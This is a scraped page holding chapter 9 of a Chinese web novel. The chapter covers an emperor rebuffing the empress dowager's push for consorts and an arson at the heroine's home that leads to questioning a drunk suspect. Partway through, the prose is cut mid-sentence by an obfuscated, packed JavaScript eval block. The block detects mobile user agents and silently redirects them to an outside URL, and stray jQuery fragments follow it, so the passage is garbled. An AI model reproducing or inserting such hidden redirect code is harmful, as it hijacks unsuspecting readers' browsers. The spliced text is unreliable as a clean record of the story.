默认冷灰
24号文字
方正启体

9. 被烧

作者:沐辰冰本书字数:K更新时间:
    书房。


    萧妄临眉头紧皱,听着暗卫来报,太后从护国寺诵经祈福归来已有半月,期间多次要见皇帝不得,被推辞再三,今日直奔皇帝寝宫,对着太监总管李德福发难。


    暗五在帝王寝宫里一个头两个大。


    作为帝王的影子,他易容能瞒过别人,却瞒不过皇上的母亲。


    李德福总管只能拦住一时:“太后娘娘,陛下还在批折子,不是老奴不去通传,实在是陛下吩咐了,任何人不得打扰。”


    太后一身黛色宫装,冷眼看向李德福,摆了摆手。


    身边的嬷嬷会意:“李总管,太后娘娘也是关心陛下,带了陛下小时候最爱吃的如意糕,劳烦通报一声。”


    “老奴实在做不了主。”李德福故作一脸为难。


    “大胆,太后娘娘你也敢拦。”


    太后直接发话:“哀家能做这个主。”


    “这——”李德福余光撇见暗一给他打了个手势,顺势改了口:“太后娘娘,您请。”


    身边的嬷嬷把门带上,留在了外边。


    太后目光扫视了一圈,连帝王的影子也没见到,径直走到萧妄临批阅奏折的龙案旁。


    “母后,这里不是你的懿安宫。”萧妄临凌冽的声音从身后出现,太后呼吸一滞,随即放松下来。


    月余不见,她儿似是削瘦了些。


    太后理了理衣袖:“李德福怎么伺候的,平日里盯着用膳,怎么过个冬天还瘦了。”


    “母后去山中苦修,倒是一点没清减。”反而圆润了不少。


    太后讨了个没趣,转移话题。


    “哀家费心费力,求遍神佛,不过是为了早日抱上乖孙。”


    “莫说乖孙,重孙母后也不缺。”


    皇室宗亲无数,沉迷绵延子嗣的更是不胜枚举。


    萧妄临不太理解,一生顺遂的母后总是有很多天真的想法,她这辈子吃得最大的苦也不过是情爱之苦罢了。


    “那能一样么?你也老大不小了,后宫空无一人,尽早为皇家开枝散叶,稳固江山才是正理。”


    萧妄临垂下眼眸,十二冕旒挡住窥探视线。


    “母后说笑了,朕的江山稳固何时要靠后宫?”


    无能君主才会为国做鸭。


    萧妄临神色淡然,轻靠在椅背上,双腿交叠:“满朝文武何人敢对朕的私事指手画脚?”


    “是不敢。”太后不雅地翻了个白眼。


    “吏部尚书的孙女,刚及笄,捕风捉影说要入宫,你就下旨给人家赐婚,苗头直接掐死。”


    “青梅竹马,两小无猜,朕是成人之美。”


    得力副将特意求来的赐婚,他哪能不允。


    “去年,户部侍郎黄齐峰举荐他家小女入宫为妃,你当众把人拖下去,打了一百大板不说,全家入狱。”


    黄齐峰,不过是只蛀虫,贪墨成风,惯会招权纳贿,寻个借口砍头抄家,造福黎民。


    “母后为佛祖塑的金身,也多亏黄大人慷慨。”


    人都死了说这些。


    “你——”太后手上的佛珠都快要捏断了。


    萧妄临没有看太后:“母后常年茹素礼佛,不问世事,去请护国寺主持和高僧入宫,日日为母后讲经。”


    “罢了罢了,我也管不了你。”说罢,太后拂袖而去。


    李德福走了进来:“陛下,太后她也是不知情,您——。”


    “无甚在意,她和朕说了这么多,也并未发现朕目不能视,只在乎后宫妃嫔和皇嗣这些虚无缥缈的东西,不上心罢了。”萧妄临低头摸了摸膝上的雪白小猫:“朕也不是任她摆弄的工具。”


    “谢大人新寻的神医如何?。”李德福看着萧妄临从牙牙学语到如今天下之主,感慨万千。


    “很好。”


    蒲若若近日来愈发黏人。


    萧妄临先回皇宫一步,余下暗卫用小轿护送蒲若若姗姗来迟。


    蒲若若在轿中睡得昏天黑地,换了地方也没醒。


    “主子,属下奉命调查时,蒲清许此人曾于两个月前在平漳城出现,机缘巧合,救了酒肆老板云舒云悠一命,随后三人一起来到玉封镇。”暗卫前来汇报。


    “在平漳城继续查,不要放过任何蛛丝马迹。”萧妄临下令:“召中书令。”


    趁着蒲清许出门两日去山上采药,萧妄临将朝中诸事分门别类,安排下去。


    中书令年逾花甲,依旧精神矍铄,汇报完要紧事宜,到其他琐事时,抬头看了一眼。


    却见年轻的帝王紧盯着一处,发呆?


    是他年纪大了,老眼昏花,怎么看见帝王的腿上趴了一只猫。


    萧妄临现在走到哪把蒲若若这只假猫猫带到哪。


    蒲若若实在是太乖了,只是不如之前活泼,十分黏人,整日窝在萧妄临怀中。


    萧妄临自然乐在其中,用上十八般手法伺候小猫。


    距离太远,神识连接断开,蒲清许对此丝毫没有察觉。


    春日少雨,出门时天色阴沉。


    山中倒是下起了淅淅沥沥的小雨,四下腾起蒙蒙雾气,蒲清许只得加快手上的动作。


    云舒云悠两姐妹帮了她大忙,蒲清许得空到山上采几株新鲜草药。


    炼制妖用化形丹,蒲清许颇有心得。


    植物多半喜雨,蒲清许却讨厌阴雨天,毛茸茸的蒲公英伞会被淋湿。


    白衣衣角也满是泥泞。


    找到一处地方避雨,蒲清许略施法术将衣服烘干,不由感叹,学得时候觉得小法术鸡肋,用的时候很是庆幸,不会出现“术”到用时方恨少的场面。


    出门时归期不定,蒲清许怕萧妄临一人不便,先让表弟代为照顾。


    还挺有先见之明的。


    风息雨停。


    蒲清许隔日一早就匆忙往回赶,抄了近道。


    一日不见如隔三秋,十分想念醉仙楼的十八点,还有表弟常送的新奇吃食。


    还未到家,蒲清许嗅到了空气中弥漫的焦糊味,听见不远处人群嘈杂的声音。


    是她家方向。


    ?


    她的家呢?


    视线中木质结构的房子坍塌,到处断壁残垣,一片狼藉,几缕黑烟升腾而起。她惯用的东西无处可寻,猫形蒲清许常趴的桌子,也被烧得只剩了半张,萧妄临常弹的琴也化为了灰烬。


    “蒲大夫,你可算回来了。”


    “小院地方偏,昨夜我们看见的时候已经烧了很久,东西都没了。”


    “蒲大夫,已经派人去报了官,定要抓住这杀千刀的。”


    “像是有人浇了桐油,故意纵火。”


    周围的人七嘴八舌。


    蒲清许下意识想要读档,倏然,才想起来自己银子不够,时间上也不满足读档条件。


    蒲清许脑子一瞬间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341799|199373||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    空白,完全没有遇到过这种情况,面色依然不改。


    众人见蒲清许冷若冰霜,一言不发,也不知该如何安慰。


    蒲大夫的医术和人品镇上的人有目共睹,虽然人看着冷了点,让人不易亲近,心地确实善良。遇到这种倒霉事,让人唏嘘。


    “京兆府办案,闲杂人等避开。”官府来人,一男子着官府领着一队带刀衙役。


    “哪位是苦主?”一官差发问。


    蒲清许不常与官府打交道,被诬陷那次也是金吾卫速查速决,目前也并无其他线索,不知何时才能查清。


    “是我。”蒲清许开口。


    京兆府尹杜理全本不愿亲自来,只是他升迁在即,辖区出了这等恶性事件,牵扯到的苦主善名在外,处理不好影响评级。


    赶来的路上听报官的镇民简略描述了纵火一案,眼前的废墟还是杜理全面色一沉。


    帝王英明神武,金吾卫铁血手腕,帝都治安一向很好,玉封镇偏远但也属京畿地区,一般无人敢造次。


    “你叫什么名字?”


    “蒲清许。”


    “家中可还有什么人?”


    “并无。”


    苦主貌美,孤身一人,家中并无亲朋长辈,怕是被人盯上了,杜理全暗叹。


    四处搜寻后,找蛛丝马迹。


    “昨日刚下过雨,不是天干物燥自然起火,应是有人故意纵火。”


    官差一一询问过周围人,有人表示快入夜时看见有人朝小院方向去了,他还纳闷,那个方向偏僻什么都没有,去那做什么。


    “看身形,走路一高一低跛着,像是钱六。”


    钱六,酒鬼一个,玉封镇上出了名的游手好闲,常偷鸡摸狗被人打成跛子。


    官差立刻去提了喝的半醉的钱六。


    “青天大老爷,我冤枉啊。”钱六被水泼得酒醒了几分,却声称自己昨日一直在家,咬死不认。


    “昨日不在家,你确定?”


    “确定确定。”钱六低头哈腰,一直看着地面。


    “可是昨日有人看见你鬼鬼祟祟,朝着蒲姑娘家方向去了。”


    “这——他看错了。”


    “还有人看见你昨日去了酒肆买酒。”杜理全开口。


    “这不是没买到嘛。”钱六笑得谄媚,话音刚落,惊觉不对。


    “前言不搭后语,老实点,昨天到底出门了没。”官差厉声喝道,冰冷的刀鞘抵在钱六肩膀上。


    钱六张了张嘴,脑子飞快转动,还想辩解一番。


    “在钱六家附近找到装有桐油的桶。”另一官差直接拿着证据出现,“你还有什么要说的。”


    钱六垂下双臂,深吸一口气,暗自握拳:“蒲大夫一天看那么多人,肯定赚了不少钱,我看见她往山上去了,一时半会的回不来,看看有什么值钱的东西。”


    蒲清许看向钱六,思索着他的话中几分真,几分假。


    “然后呢。”杜理全追问。


    钱六低下头,咬咬牙道:“翻遍了屋里,什么值钱的东西都没找到。”


    空着手进,空着手出。


    “是我起了歹心,想着都这样了,干脆一把火烧了干净,也没人发现。”


    理由有些牵强,但也够用,权衡之下,杜理全一锤定音,打算就此结案:“那就将钱六捉拿归案。”


    “等等。”蒲清许突然出声,打断杜理全。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)